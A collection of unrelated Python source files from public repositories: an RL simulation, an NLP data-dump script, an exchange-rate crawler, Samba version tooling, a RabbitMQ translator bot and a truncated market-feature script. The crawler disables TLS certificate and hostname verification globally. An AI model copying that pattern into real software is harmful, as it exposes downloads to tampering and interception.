{"seq_id":"22775708947","text":"# Standard packages\nimport tensorflow as tf\nimport numpy as np\nimport time\n\n# Custom packages\nfrom core.simulation.simulation import Simulation\nfrom core.simulation.game import Game\nfrom core.simulation.reward import RewardId\nfrom core.simulation.random_generator import RandomGeneratorUniform\nfrom core.layers.modelpicnnthree import ModelPICNNThree\nfrom core.layers.modelpicnntwo import ModelPICNNTwo\nfrom core.simulation.validation import Optimum2PeriodSolution\nimport matplotlib.pyplot as plt\n\nfrom core.simulation.greedy_estimator import GreedyEstimator\n\n# Initalize necessary simulation objects:\n\n# Define the random generator for the price process\nrandom_generator_uniform = RandomGeneratorUniform(0.8, 1.8)\n\n# Define the neural network\n# 2 Layer PICNN\nnegQ = ModelPICNNTwo(\n    [200],\n    [200, 1],\n    weight_initializer=tf.random_normal_initializer(mean=0.0, stddev=0.4),\n    name=\"negQ\",\n)\n\n# Define the game setting\n# Two period game\ngame_two_period = Game(\n    x_0=5.0,\n    y_0=10.0,\n    S_0=1.0,\n    T=2,\n    alpha=1,\n    random_generator=random_generator_uniform,\n    reward_func=RewardId,\n)\n\n# Three period game\ngame_three_period = Game(\n    x_0=1.0,\n    y_0=10.0,\n    S_0=1.0,\n    T=3,\n    alpha=0.01,\n    random_generator=random_generator_uniform,\n    reward_func=RewardId,\n)\n# Define exploration process via the epsilon greedy factor\ngreedy_estimator = GreedyEstimator(\n    stop_exploring_at=0.075, final_exploration_rate=0.1, stagnate_epsilon_at=0.25\n)\n\n# Setup the simulation object\nsimulation = Simulation(\n    greedy_estimator=greedy_estimator,\n    ICNN_model=negQ,\n    game=game_two_period,\n    num_episodes=50000,\n    ITERATIONS=1,\n    size_minibatches=1,\n    capacity_replay_memory=1,\n    optimization_iterations=3,\n    optimizer=tf.keras.optimizers.SGD(learning_rate=0.000025),\n    discount_factor=0.5,\n    show_plot_every=1000000,\n    LOG_NUM=3336,\n    initial_action_for_optimization=tf.Variable([[0.7], [0.2]]),\n)\n\nprint(\n    \"\\n==============\",\n    \"The optimal choice of this simulation is {}, with expected value of the random generator {}\".format(\n        Optimum2PeriodSolution(\n            np.array(\n                [\n                    [game_three_period.x_0],\n                    [game_three_period.y_0],\n                    [game_three_period.S_0],\n                    [0],\n                ]\n            ),\n            game_three_period,\n        ),\n        random_generator_uniform.mean,\n    ),\n)\n\n# Run the simulation with the specified parameters\nstart_simulation = time.time()\n\nsimulation.run_simulation()\n\nend_simulation = time.time()\n\nprint(\"Simulation took {}\".format(end_simulation - start_simulation))\n\nprint(\"First Weight:\", simulation.negQ.trainable_variables[0])\n","repo_name":"LuK2019/ICNN_BA","sub_path":"src/simulation_main.py","file_name":"simulation_main.py","file_ext":"py","file_size_in_byte":2713,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"}
{"seq_id":"40885195298","text":"import argparse\nimport json\nimport logging\n\nfrom nlp_architect.data.cdc_resources.relations.verbocean_relation_extraction import (\n    VerboceanRelationExtraction,\n)\nfrom nlp_architect.models.cross_doc_coref.system.cdc_utils import load_mentions_vocab_from_files\nfrom nlp_architect.utils import io\n\nlogger = logging.getLogger(__name__)\n\nparser = argparse.ArgumentParser(description=\"Create Verb-Ocean dataset only dump\")\n\nparser.add_argument(\"--vo\", type=str, help=\"Verb Ocean file\", required=True)\n\nparser.add_argument(\"--mentions\", type=str, help=\"dataset mentions\", required=True)\n\nparser.add_argument(\"--output\", type=str, help=\"location were to create dump file\", required=True)\n\nargs = parser.parse_args()\n\n\ndef vo_dump():\n    vo_file = args.vo\n    out_file = args.output\n    mentions_event_gold_file = [args.mentions]\n    vocab = load_mentions_vocab_from_files(mentions_event_gold_file, True)\n    vo = VerboceanRelationExtraction.load_verbocean_file(vo_file)\n    vo_for_vocab = {}\n    for word in vocab:\n        if word in vo:\n            vo_for_vocab[word] = vo[word]\n\n    logger.info(\"Found %d words from vocabulary\", len(vo_for_vocab.keys()))\n    logger.info(\"Preparing to save refDict output file\")\n\n    with open(out_file, \"w\") as f:\n        json.dump(vo_for_vocab, f)\n    logger.info(\"Done saved to-%s\", out_file)\n\n\nif __name__ == \"__main__\":\n    io.validate_existing_filepath(args.mentions)\n    io.validate_existing_filepath(args.output)\n    io.validate_existing_filepath(args.vo)\n    vo_dump()\n","repo_name":"IntelLabs/nlp-architect","sub_path":"nlp_architect/data/cdc_resources/gen_scripts/create_verbocean_dump.py","file_name":"create_verbocean_dump.py","file_ext":"py","file_size_in_byte":1509,"program_lang":"python","lang":"en","doc_type":"code","stars":2921,"dataset":"github-code","pt":"36"}
{"seq_id":"26590645590","text":"#!/usr/bin/env python3\n\n\"\"\"\nCrawler for historical exchange rates. Finds Excel files with currency rates\npublished at the UAE Central Bank, and then writes them to a database.\nIt has no arguments, but can be customized via the config.yaml file\nin the same directory.\n\"\"\"\n\nimport datetime\nimport hashlib\nimport logging\nimport os\nimport re\nimport shutil\nimport ssl\n\nimport pandas\nimport requests\nfrom bs4 import BeautifulSoup\n\nfrom modules.crawler import UAExchangeRatesCrawler\nfrom modules.db import Event\n\n\nclass HistoricalUAExchangeRatesCrawler(UAExchangeRatesCrawler):\n    __historical_files_directory: str = \"\"\n\n    def __init__(self, file, updating_event):\n\n        super().__init__(file, updating_event)\n\n        self._init_historical_files_directory()\n\n    def _init_historical_files_directory(self) -> None:\n\n        self.__historical_files_directory = os.path.join(\n            self._current_directory, \"history\"\n        )\n\n        try:\n            os.makedirs(self.__historical_files_directory, exist_ok=True)\n        except OSError:\n            pass  # TODO needs to be processed\n\n    def _get_links_to_files(self) -> list | None:\n        def is_link_to_excel_file(href):\n            return href and re.compile(\"/media/.*[a-z0-9]\\\\.xlsx\").search(href)\n\n        links = []\n\n        logging.debug(\"Attempting to find links to Excel files...\")\n\n        page_url = \"https://www.centralbank.ae/en/forex-eibor/exchange-rates/\"\n        response = self._get_response_for_request(page_url)\n\n        if response is not None:\n\n            page = BeautifulSoup(response.text, features=\"html.parser\")\n            tags = page.find_all(\"a\", href=is_link_to_excel_file)\n\n            for tag in tags:\n                links.append(f'https://www.centralbank.ae{tag.get(\"href\")}')\n\n            logging.debug(\"Search results: %d link(s).\", len(links))\n\n        return links\n\n    def _load_currency_rates_from_file(self, link, currency_rates):\n\n        ssl._create_default_https_context = ssl._create_unverified_context\n\n        unknown_currencies = []\n\n        excel_data = pandas.read_excel(link, sheet_name=0, header=2)\n        excel_dict = excel_data.to_dict()\n\n        currency_column = excel_dict[\"Currency\"]\n        rate_column = excel_dict[\"Rate\"]\n        date_column = excel_dict[\"Date\"]\n\n        max_index = len(currency_column) - 1\n\n        for index in range(0, max_index):\n\n            currency_name = currency_column[index]\n            currency_code = self.get_currency_code(currency_name)\n\n            if currency_code is None:\n                unknown_currencies.append(currency_name)\n                continue\n\n            if not self._is_currency_code_allowed(currency_code):\n                continue\n\n            rate_date = self.get_datetime_from_date(date_column[index])\n\n            currency_rates.append(\n                {\n                    \"currency_code\": currency_code,\n                    \"import_date\": self._current_datetime,\n                    \"rate_date\": rate_date + datetime.timedelta(days=1),\n                    \"rate\": float(rate_column[index]),\n                }\n            )\n\n        self._unknown_currencies_warning(unknown_currencies)\n\n    def _currency_rates_from_file(self, file_link: str) -> list | None:\n\n        currency_rates = []\n\n        logging.debug(\"LINK TO PROCESS: %s\", file_link)\n\n        file_path = self.__file_path_in_historical_files_directory(file_link)\n\n        if file_path is not None:\n\n            file_hash = self.__file_hash(file_path)\n\n            logging.debug(\"Downloaded file hash: %s\", file_hash)\n\n            historical_file = self._db.historical_file(file_link)\n\n            load = False\n\n            if historical_file is None:\n\n                logging.debug(\n                    \"The file hasn't been processed before \"\n                    \"(unable to find a previous file hash in the database).\"\n                )\n\n                load = True\n\n            elif historical_file[\"hash\"] != file_hash:\n\n                logging.debug(\n                    \"The file has been updated \"\n                    \"since the last processing ({}), \"\n                    \"because previous file hash ({}) \"\n                    \"is not equal to the current one.\".format(\n                        self.date_with_time_as_string(historical_file[\"import_date\"]),\n                        historical_file[\"hash\"],\n                    )\n                )\n\n                load = True\n\n            else:\n\n                logging.debug(\n                    \"The file hasn't been updated \"\n                    \"since the last processing (%s), \"\n                    \"because a previous file hash \"\n                    \"is equal to the current one.\",\n                    self.date_with_time_as_string(historical_file[\"import_date\"]),\n                )\n\n            if load:\n\n                self._load_currency_rates_from_file(file_link, currency_rates)\n\n                if historical_file is None:\n                    self._db.insert_historical_file(\n                        file_link, file_hash, import_date=self._current_datetime\n                    )\n                else:\n                    self._db.update_historical_file(\n                        file_link, file_hash, import_date=self._current_datetime\n                    )\n\n        return currency_rates\n\n    def run(self):\n\n        ssl_ctx = ssl.create_default_context()\n        ssl_ctx.check_hostname = False\n        ssl_ctx.verify_mode = ssl.CERT_NONE\n\n        log_title = \"import of historical exchange rates\"\n\n        self._import_started(log_title)\n\n        links_to_files = self._get_links_to_files()\n\n        if links_to_files is not None:\n\n            changed_rates_number = 0\n\n            for link_to_file in links_to_files:\n\n                currency_rates = self._currency_rates_from_file(link_to_file)\n\n                logging.debug(\"Crawling results: %d rate(s).\", len(currency_rates))\n\n                changed_rates_number += self._process_currency_rates_to_import(\n                    currency_rates\n                )\n\n            self._db.insert_import_date(self._current_datetime)\n\n            self._log_import_completed(\n                title=log_title, changed_rates_number=changed_rates_number, event=Event.HISTORICAL_RATES_LOADING\n            )\n\n        else:\n\n            self._log_import_failed(title=log_title)\n\n        self._db.disconnect()\n\n    def __file_path_in_historical_files_directory(self, file_link: str) -> str | None:\n\n        file_name = file_link.split(\"/\")[-1]\n        file_path = os.path.join(self.__historical_files_directory, file_name)\n\n        file_is_downloaded = False\n        attempt_number = 0\n\n        while not file_is_downloaded:\n\n            if attempt_number == 3:\n                break\n\n            attempt_number += 1\n\n            logging.debug(\"Attempt #%d to download the file...\", attempt_number)\n\n            try:\n\n                with requests.get(file_link, stream=True) as response:\n                    with open(file_path, \"wb\") as file:\n                        shutil.copyfileobj(response.raw, file)\n                        file_is_downloaded = True\n            except (requests.exceptions.RequestException, shutil.Error) as exception:\n                logging.error(exception)\n\n        if not file_is_downloaded:\n            logging.debug(\"Unable to download the file!\")\n            file_path = None\n\n        return file_path\n\n    @staticmethod\n    def __file_hash(file_path: str):\n\n        md5 = hashlib.md5()\n\n        with open(file_path, \"rb\") as file:\n            md5.update(file.read())\n\n        return md5.hexdigest()\n\n\nif __name__ == \"__main__\":\n    HistoricalUAExchangeRatesCrawler(\n        file=__file__, updating_event=Event.HISTORICAL_RATES_UPDATING\n    ).run()\n","repo_name":"vkostyanetsky/UAExchangeRates","sub_path":"load_history.py","file_name":"load_history.py","file_ext":"py","file_size_in_byte":7731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"36891704689","text":"import os\nimport Utils\nimport samba_utils\nimport sys\n\ndef bzr_version_summary(path):\n    try:\n        import bzrlib\n    except ImportError:\n        return (\"BZR-UNKNOWN\", {})\n\n    import bzrlib.ui\n    bzrlib.ui.ui_factory = bzrlib.ui.make_ui_for_terminal(\n        sys.stdin, sys.stdout, sys.stderr)\n    from bzrlib import branch, osutils, workingtree\n    from bzrlib.plugin import load_plugins\n    load_plugins()\n\n    b = branch.Branch.open(path)\n    (revno, revid) = b.last_revision_info()\n    rev = b.repository.get_revision(revid)\n\n    fields = {\n        \"BZR_REVISION_ID\": revid,\n        \"BZR_REVNO\": revno,\n        \"COMMIT_DATE\": osutils.format_date_with_offset_in_original_timezone(rev.timestamp,\n            rev.timezone or 0),\n        \"COMMIT_TIME\": int(rev.timestamp),\n        \"BZR_BRANCH\": rev.properties.get(\"branch-nick\", \"\"),\n        }\n\n    # If possible, retrieve the git sha\n    try:\n        from bzrlib.plugins.git.object_store import get_object_store\n    except ImportError:\n        # No git plugin\n        ret = \"BZR-%d\" % revno\n    else:\n        store = get_object_store(b.repository)\n        full_rev = store._lookup_revision_sha1(revid)\n        fields[\"GIT_COMMIT_ABBREV\"] = full_rev[:7]\n        fields[\"GIT_COMMIT_FULLREV\"] = full_rev\n        ret = \"GIT-\" + fields[\"GIT_COMMIT_ABBREV\"]\n\n    if workingtree.WorkingTree.open(path).has_changes():\n        fields[\"COMMIT_IS_CLEAN\"] = 0\n        ret += \"+\"\n    else:\n        fields[\"COMMIT_IS_CLEAN\"] = 1\n    return (ret, fields)\n\n\ndef git_version_summary(path, env=None):\n    # Get version from GIT\n    if not 'GIT' in env and os.path.exists(\"/usr/bin/git\"):\n        # this is useful when doing make dist without configuring\n        env.GIT = \"/usr/bin/git\"\n\n    if not 'GIT' in env:\n        return (\"GIT-UNKNOWN\", {})\n\n    environ = dict(os.environ)\n    environ[\"GIT_DIR\"] = '%s/.git' % path\n    environ[\"GIT_WORK_TREE\"] = path\n    git = Utils.cmd_output(env.GIT + ' show --pretty=format:\"%h%n%ct%n%H%n%cd\" --stat HEAD', silent=True, env=environ)\n\n    lines = git.splitlines()\n    if not lines or len(lines) < 4:\n        return (\"GIT-UNKNOWN\", {})\n\n    fields = {\n            \"GIT_COMMIT_ABBREV\": lines[0],\n            \"GIT_COMMIT_FULLREV\": lines[2],\n            \"COMMIT_TIME\": int(lines[1]),\n            \"COMMIT_DATE\": lines[3],\n            }\n\n    ret = \"GIT-\" + fields[\"GIT_COMMIT_ABBREV\"]\n\n    if env.GIT_LOCAL_CHANGES:\n        clean = Utils.cmd_output('%s diff HEAD | wc -l' % env.GIT, silent=True).strip()\n        if clean == \"0\":\n            fields[\"COMMIT_IS_CLEAN\"] = 1\n        else:\n            fields[\"COMMIT_IS_CLEAN\"] = 0\n            ret += \"+\"\n\n    return (ret, fields)\n\n\nclass SambaVersion(object):\n\n    def __init__(self, version_dict, path, env=None):\n        '''Determine the version number of samba\n\nSee VERSION for the format.  Entries on that file are \nalso accepted as dictionary entries here\n        '''\n\n        self.MAJOR=None\n        self.MINOR=None\n        self.RELEASE=None\n        self.REVISION=None\n        self.TP_RELEASE=None\n        self.ALPHA_RELEASE=None\n        self.PRE_RELEASE=None\n        self.RC_RELEASE=None\n        self.IS_SNAPSHOT=True\n        self.RELEASE_NICKNAME=None\n        self.VENDOR_SUFFIX=None\n        self.VENDOR_PATCH=None\n\n        for a, b in version_dict.iteritems():\n            if a.startswith(\"SAMBA_VERSION_\"):\n                setattr(self, a[14:], b)\n            else:\n                setattr(self, a, b)\n\n        if self.IS_GIT_SNAPSHOT == \"yes\":\n            self.IS_SNAPSHOT=True\n        elif self.IS_GIT_SNAPSHOT == \"no\":\n            self.IS_SNAPSHOT=False\n        else:\n            raise Exception(\"Unknown value for IS_GIT_SNAPSHOT: %s\" % self.IS_GIT_SNAPSHOT)\n\n ##\n ## start with \"3.0.22\"\n ##\n        self.MAJOR=int(self.MAJOR)\n        self.MINOR=int(self.MINOR)\n        self.RELEASE=int(self.RELEASE)\n\n        SAMBA_VERSION_STRING = (\"%u.%u.%u\" % (self.MAJOR, self.MINOR, self.RELEASE))\n\n##\n## maybe add \"3.0.22a\" or \"4.0.0tp11\" or \"4.0.0alpha1\" or \"3.0.22pre1\" or \"3.0.22rc1\"\n## We do not do pre or rc version on patch/letter releases\n##\n        if self.REVISION is not None:\n            SAMBA_VERSION_STRING += self.REVISION\n        if self.TP_RELEASE is not None:\n            self.TP_RELEASE = int(self.TP_RELEASE)\n            SAMBA_VERSION_STRING += \"tp%u\" % self.TP_RELEASE\n        if self.ALPHA_RELEASE is not None:\n            self.ALPHA_RELEASE = int(self.ALPHA_RELEASE)\n            SAMBA_VERSION_STRING += (\"alpha%u\" % self.ALPHA_RELEASE)\n        if self.PRE_RELEASE is not None:\n            self.PRE_RELEASE = int(self.PRE_RELEASE)\n            SAMBA_VERSION_STRING += (\"pre%u\" % self.PRE_RELEASE)\n        if self.RC_RELEASE is not None:\n            self.RC_RELEASE = int(self.RC_RELEASE)\n            SAMBA_VERSION_STRING += (\"rc%u\" % self.RC_RELEASE)\n\n        if self.IS_SNAPSHOT:\n            if os.path.exists(os.path.join(path, \".git\")):\n                suffix, self.vcs_fields = git_version_summary(path, env=env)\n            elif os.path.exists(os.path.join(path, \".bzr\")):\n                suffix, self.vcs_fields = bzr_version_summary(path)\n            else:\n                suffix = \"UNKNOWN\"\n                self.vcs_fields = {}\n            SAMBA_VERSION_STRING += \"-\" + suffix\n        else:\n            self.vcs_fields = {}\n\n        self.OFFICIAL_STRING = SAMBA_VERSION_STRING\n\n        if self.VENDOR_SUFFIX is not None:\n            SAMBA_VERSION_STRING += (\"-\" + self.VENDOR_SUFFIX)\n            self.VENDOR_SUFFIX = self.VENDOR_SUFFIX\n\n            if self.VENDOR_PATCH is not None:\n                SAMBA_VERSION_STRING += (\"-\" + self.VENDOR_PATCH)\n                self.VENDOR_PATCH = self.VENDOR_PATCH\n\n        self.STRING = SAMBA_VERSION_STRING\n\n        if self.RELEASE_NICKNAME is not None:\n            self.STRING_WITH_NICKNAME = \"%s (%s)\" % (self.STRING, self.RELEASE_NICKNAME)\n        else:\n            self.STRING_WITH_NICKNAME = self.STRING\n\n    def __str__(self):\n        string=\"/* Autogenerated by waf */\\n\"\n        string+=\"#define SAMBA_VERSION_MAJOR %u\\n\" % self.MAJOR\n        string+=\"#define SAMBA_VERSION_MINOR %u\\n\" % self.MINOR\n        string+=\"#define SAMBA_VERSION_RELEASE %u\\n\" % self.RELEASE\n        if self.REVISION is not None:\n            string+=\"#define SAMBA_VERSION_REVISION %u\\n\" % self.REVISION\n\n        if self.TP_RELEASE is not None:\n            string+=\"#define SAMBA_VERSION_TP_RELEASE %u\\n\" % self.TP_RELEASE\n\n        if self.ALPHA_RELEASE is not None:\n            string+=\"#define SAMBA_VERSION_ALPHA_RELEASE %u\\n\" % self.ALPHA_RELEASE\n\n        if self.PRE_RELEASE is not None:\n            string+=\"#define SAMBA_VERSION_PRE_RELEASE %u\\n\" % self.PRE_RELEASE\n\n        if self.RC_RELEASE is not None:\n            string+=\"#define SAMBA_VERSION_RC_RELEASE %u\\n\" % self.RC_RELEASE\n\n        for name in sorted(self.vcs_fields.keys()):\n            string+=\"#define SAMBA_VERSION_%s \" % name\n            value = self.vcs_fields[name]\n            if isinstance(value, basestring):\n                string += \"\\\"%s\\\"\" % value\n            elif type(value) is int:\n                string += \"%d\" % value\n            else:\n                raise Exception(\"Unknown type for %s: %r\" % (name, value))\n            string += \"\\n\"\n\n        string+=\"#define SAMBA_VERSION_OFFICIAL_STRING \\\"\" + self.OFFICIAL_STRING + \"\\\"\\n\"\n\n        if self.VENDOR_SUFFIX is not None:\n            string+=\"#define SAMBA_VERSION_VENDOR_SUFFIX \" + self.VENDOR_SUFFIX + \"\\n\"\n            if self.VENDOR_PATCH is not None:\n                string+=\"#define SAMBA_VERSION_VENDOR_PATCH \" + self.VENDOR_PATCH + \"\\n\"\n\n        if self.RELEASE_NICKNAME is not None:\n            string+=\"#define SAMBA_VERSION_RELEASE_NICKNAME \" + self.RELEASE_NICKNAME + \"\\n\"\n\n        # We need to put this #ifdef in to the headers so that vendors can override the version with a function\n        string+='''\n#ifdef SAMBA_VERSION_VENDOR_FUNCTION\n#  define SAMBA_VERSION_STRING SAMBA_VERSION_VENDOR_FUNCTION\n#else /* SAMBA_VERSION_VENDOR_FUNCTION */\n#  define SAMBA_VERSION_STRING \"''' + self.STRING_WITH_NICKNAME + '''\"\n#endif\n'''\n        string+=\"/* Version for mkrelease.sh: \\nSAMBA_VERSION_STRING=\" + self.STRING_WITH_NICKNAME + \"\\n */\\n\"\n\n        return string\n\n\ndef samba_version_file(version_file, path, env=None):\n    '''Parse the version information from a VERSION file'''\n\n    f = open(version_file, 'r')\n    version_dict = {}\n    for line in f:\n        line = line.strip()\n        if line == '':\n            continue\n        if line.startswith(\"#\"):\n            continue\n        try:\n            split_line = line.split(\"=\")\n            if split_line[1] != \"\":\n                value = split_line[1].strip('\"')\n                version_dict[split_line[0]] = value\n        except:\n            print(\"Failed to parse line %s from %s\" % (line, version_file))\n            raise\n\n    return SambaVersion(version_dict, path, env=env)\n\n\n\ndef load_version(env=None):\n    '''load samba versions either from ./VERSION or git\n    return a version object for detailed breakdown'''\n    if not env:\n        env = samba_utils.LOAD_ENVIRONMENT()\n\n    version = samba_version_file(\"./VERSION\", \".\", env)\n    Utils.g_module.VERSION = version.STRING\n    return version\n","repo_name":"RMerl/asuswrt-merlin","sub_path":"release/src/router/samba-3.6.x/buildtools/wafsamba/samba_version.py","file_name":"samba_version.py","file_ext":"py","file_size_in_byte":9183,"program_lang":"python","lang":"en","doc_type":"code","stars":6715,"dataset":"github-code","pt":"36"}
{"seq_id":"31904893755","text":"import os, time\nimport pika\n\ntime.sleep(10)\n\n########### CONNEXIÓN A RABBIT MQ #######################\n\nHOST = os.environ['RABBITMQ_HOST']\nprint(\"rabbit:\"+HOST)\n\nconnection = pika.BlockingConnection(\n    pika.ConnectionParameters(host=HOST))\nchannel = connection.channel()\n\n#El consumidor utiliza el exchange 'cartero'\nchannel.exchange_declare(exchange='cartero', exchange_type='topic', durable=True)\n\n#Se crea un cola temporaria exclusiva para este consumidor (búzon de correos)\nresult = channel.queue_declare(queue=\"traductor\", exclusive=True, durable=True)\nqueue_name = result.method.queue\n\n#La cola se asigna a un 'exchange'\nchannel.queue_bind(exchange='cartero', queue=queue_name, routing_key=\"traductor\")\n\n\n##########################################################\n\n\n########## ESPERA Y HACE ALGO CUANDO RECIBE UN MENSAJE ####\n\nprint(' [*] Waiting for messages. To exit press CTRL+C')\n\n#----------------------------------\nimport requests\n\ndef Traduccion(source, target, text):\n\tparametros = {'sl': source, 'tl': target, 'q': text}\n\tcabeceras = {\"Charset\":\"UTF-8\",\"User-Agent\":\"AndroidTranslate/5.3.0.RC02.130475354-53000263 5.1 phone TRANSLATE_OPM5_TEST_1\"}\n\turl = \"https://translate.google.com/translate_a/single?client=at&dt=t&dt=ld&dt=qca&dt=rm&dt=bd&dj=1&hl=es-ES&ie=UTF-8&oe=UTF-8&inputm=2&otf=2&iid=1dd3b944-fa62-4b55-b330-74909a99969e\"\n\tresponse = requests.post(url, data=parametros, headers=cabeceras)\n\tif response.status_code == 200:\n\t\tfor x in response.json()['sentences']:\n\t\t\treturn x['trans']\n\telse:\n\t\treturn \"Ocurrió un error\"\n\n#---------------------------------\n\ndef callback(ch, method, properties, body):\n\tprint(body.decode(\"UTF-8\"))\n\targuments = body.decode(\"UTF-8\").split(\" \")\n\n\tidioma = arguments[1]\n\tfrase = \" \".join(arguments[2:])\n\tresult = Traduccion(\"es\", idioma, frase)\n\n\t########## PUBLICA EL RESULTADO COMO EVENTO EN RABBITMQ ##########\n\tprint(\"send a new message to rabbitmq: \"+result)\n\tchannel.basic_publish(exchange='cartero',routing_key=\"discord_writer\",body=result)\n\n\nchannel.basic_consume(\n    queue=queue_name, on_message_callback=callback, auto_ack=True)\n\nchannel.start_consuming()\n\n\n\n#######################","repo_name":"mcsebe/INFO229_Bot_Discord","sub_path":"traductor/traductor.py","file_name":"traductor.py","file_ext":"py","file_size_in_byte":2152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"22811980911","text":"from joblib import Parallel, delayed\nfrom argparse import ArgumentParser\nimport pandas as pd\nimport numpy as np\nimport sys, os\nimport time\n\nfrom entropy import spectral_entropy, app_entropy\nfrom statsmodels.tsa.stattools import adfuller\nfrom scipy.stats import kurtosis\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom consts import *\n\n######################################################################################################\n### This script takes OHLC data as input and outputs timeseries features of a given instrument.\n######################################################################################################\n\n###################################\n### GLOBAL VARIABLES\n###################################\n\n#Rel Vol 1-week MA\nn_periods = 7\nn_candles = 480\n\n#Long/Short windows\nshort_window = 20\nlong_window = 50\n\nn_jobs = 8\n\n###################################\n### GLOBAL FUNCTIONS\n###################################\n\ndef filter_weekends(df):\n\tdf['Datetime'] = pd.to_datetime(df.Datetime)\n\tdf = df[~df.Datetime.dt.weekday_name.isin(['Saturday', 'Sunday'])]\n\treturn df\n\ndef compute_relative_volume(df, n_periods, n_candles):\n\t\n\t#Align the dataset to start at a day\n\tidx = df.Datetime.astype(str).str.split(' ', expand=True)[1].values.tolist().index('00:00:00')\n\tdf = df.iloc[idx:, :]\n\t\n\tcut_off = [i for i in range(0, len(df), n_candles)][-1]\n\tdf = df.iloc[:cut_off, :]\n\tcumvol = np.array(np.split(df.Volume.values, int(len(df)/n_candles)))\n\t\n\tcumvol = np.cumsum(cumvol, axis=1)\n\tcumvol = cumvol.reshape(-1, )\n\t\n\toffset = n_periods * n_candles\n\tcumvol_final = [0 for i in range(offset)]\n\t\n\tfor i in range(offset, len(df), n_candles):\n\t\t\n\t\tvoldist = cumvol[i-offset:i]\n\t\tidc = np.arange(0, offset, n_candles)\n\t\tvoldist = [voldist[idc+i].mean() for i in range(0, n_candles)]\n\t\tcumvol_final += voldist\n\t\n\tdf['RelVol'] = np.divide(cumvol, cumvol_final)\n\treturn df.iloc[offset:, :]\n\ndef approx_entropy(x):\n\t\n\ttry:\n\t\treturn app_entropy(x, order=2, metric='chebyshev')\n\texcept:\n\t\treturn np.nan\n\t\ndef spec_entropy(x):\n\n\ttry:\n\t\toffset = x.shape[0]\n\t\treturn spectral_entropy(x, sf=offset, method='welch', nperseg=(offset/8), normalize=True)\n\texcept:\n\t\treturn np.nan\n\t\ndef autocorrelation(x):\n\t\n\ttry:\n\t\treturn x.autocorr(11)\n\texcept:\n\t\treturn np.nan\n\t\ndef stationarity(x):\n\t\n\ttry:\n\t\tt, _, _, _, t_crit, _ = adfuller(x, autolag = 'AIC')\n\t\tt_crit = list(t_crit.values())[1]\n\t\treturn 0 if (t < t_crit or np.isnan(t)) else 1\n\texcept Exception as e:\n\t\treturn np.nan\n\ndef market_sessions(df):\n\t\n\tus = [[i, 1 - (i - 12) / 9] for i in range(12, 20)]\n\teur = [[i, 1 - (i - 7) / 9] for i in range(7, 16)]\n\tasia = [[i, 1-(i+1) / 9] for i in range(0, 9)]\n\tasia = [[23, 1]] + asia\n\n\t#Market Hours\n\tdf['Hour'] = pd.to_datetime(df.Datetime).dt.hour.astype(int)\n\n\t#Merge\n\tdf = df.merge(pd.DataFrame(asia, columns=['Hour', 'Asia']), how='outer', on='Hour')\n\tdf = df.merge(pd.DataFrame(us, columns=['Hour', 'Amer']), how='outer', on='Hour')\n\tdf = df.merge(pd.DataFrame(eur, columns=['Hour', 'Eur']), how='outer', on='Hour')\n\n\treturn df.drop('Hour', axis=1).fillna(0).sort_values('Datetime').reset_index(drop=True)\n\ndef features(ticker):\n\n\twarnings.filterwarnings(\"ignore\")\n\n\tprint(ticker)\n\n\tdef cp(x):\n\t\treturn x.cumprod()[-1]\n\n\tdf = pd.read_csv(data_dir/ticker)\n\tdf = filter_weekends(df)\n\n\t## Candle Change\n\tdf['Change'] = (df.Close - df.Open) / df.Open\n\n\tprint('Here')\n\n\t## Body Range Pct\n\tdf['BRP'] = abs(df.Close - df.Open) / (df.High - df.Low)\n\n\t## High Body Pct\n\tdf['HBP'] = (df.High - df[['Open', 'Close']].max(axis=1)) / (df.High - df[['Open', 'Close']].min(axis=1))\n\n\t## Low Body Pct\n\tdf['LBP'] = (df[['Open', 'Close']].min(axis=1) - df.Low) / (df[['Open', 'Close']].max(axis=1) - df.Low)\n\n\t## Distribution Statistics\n\tdf['STDLong'] = df.Change.rolling(window=long_window, min_periods=1).std()\n\tdf['STDShort'] = df.Change.rolling(window=short_window, min_periods=1).std()\n\n\tdf['LongVol'] = df.STDLong/np.sqrt(long_window)\n\tdf['ShortVol'] = df.STDShort/np.sqrt(short_window)\n\n\t# Add a small quantity to avoid -inf from the logarithm\n\tdf.loc[:, 'LongVol'] = np.log(df.LongVol+1e-8)\n\tdf.loc[:, 'ShortVol'] = np.log(df.ShortVol+1e-8)\n\n\tdf['LongSkew'] = df.Change.rolling(window=long_window, min_periods=1).skew()\n\tdf['ShortSkew'] = df.Change.rolling(window=short_window, min_periods=1).skew()\n\n\tdf.loc[:, 'LongSkew'] = df.LongSkew.fillna(value=0)\n\tdf.loc[:, 'ShortSkew'] = df.ShortSkew.fillna(value=0)\n\n\t#Positioning Indicators\n\tdf['LongSMA'] = df.Close.rolling(window=long_window, min_periods=1).mean()\n\tdf['ShortSMA'] = df.Close.rolling(window=short_window, min_periods=1).mean()\n\n\tdf['DLongSMA'] = df.Close / df['LongSMA'].values\n\tdf['DShortSMA'] = df.Close / df['ShortSMA'].values\n\n\t### Center Metrics Around 1\n\tfor col in df.columns:\n\t\tif col in ['Open', 'High', 'Low', 'Close']:\n\t\t\tdf[col] = df[col].pct_change() + 1\n\n\t# Market Sessions\n\tdf = market_sessions(df)\n\n\tlong_rolling_window = df.Change.rolling(window=long_window, min_periods=1)\n\tshort_rolling_window = df.Change.rolling(window=short_window, min_periods=1)\n\n\tstart = time.time()\n\tdf['LongKurtosis'] = long_rolling_window.apply(kurtosis, raw=True)\n\tdf['ShortKurtosis'] = short_rolling_window.apply(kurtosis, raw=True)\n\n\tdf.loc[:, 'LongKurtosis'] = df.LongKurtosis.fillna(value=0)\n\tdf.loc[:, 'ShortKurtosis'] = df.ShortKurtosis.fillna(value=0)\n\tprint(time.time() - start, 'Kurtosis time')\n\n\t# Time series progressions\n\tstart = time.time()\n\tdf['LongProg'] = df.Close.rolling(window=long_window, min_periods=1).apply(cp, raw=True)\n\tdf['ShortProg'] = df.Close.rolling(window=short_window, min_periods=1).apply(cp, raw=True)\n\tprint(time.time() - start, 'Prog Time')\n\n\t# Approximate Entropy\n\tstart = time.time()\n\tdf['LongApproximateEntropy'] = long_rolling_window.apply(approx_entropy, raw=True)\n\tdf['ShortApproximateEntropy'] = short_rolling_window.apply(approx_entropy, raw=True)\n\tprint(time.time() - start, 'App 